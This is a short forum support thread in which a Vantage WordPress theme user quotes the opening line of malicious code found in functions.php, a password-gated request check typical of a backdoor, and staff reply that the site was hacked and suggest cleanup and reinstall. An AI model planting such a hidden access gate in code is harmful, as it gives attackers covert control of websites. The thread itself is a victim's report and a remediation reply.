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By dgumeniuk, 7 years ago. Last reply by Alex S, 7 years ago.
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Dear SiteOrigin,

I’m using Vantage theme for a while. Now my hosting blocked external connections because of virus code in functions.php on top:

<?php
if (isset($_REQUEST[‘action’]) && isset($_REQUEST[‘password’]) && ($_REQUEST[‘password’] == ‘a1e3289497aa822d278530cfa24907eb’))

If I delete that code, site is going down. What should I do? How to fix the issue?

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  1. 7 years, 3 months ago Alex S
    Hi, I Work Here

    Hi Dgumeniuk,

    Unfortunately, this is a sign that you’ve been hacked. I would recommend running through this WordPress tutorial to fix this issue and reinstall Vantage. I’m sorry mate! :(

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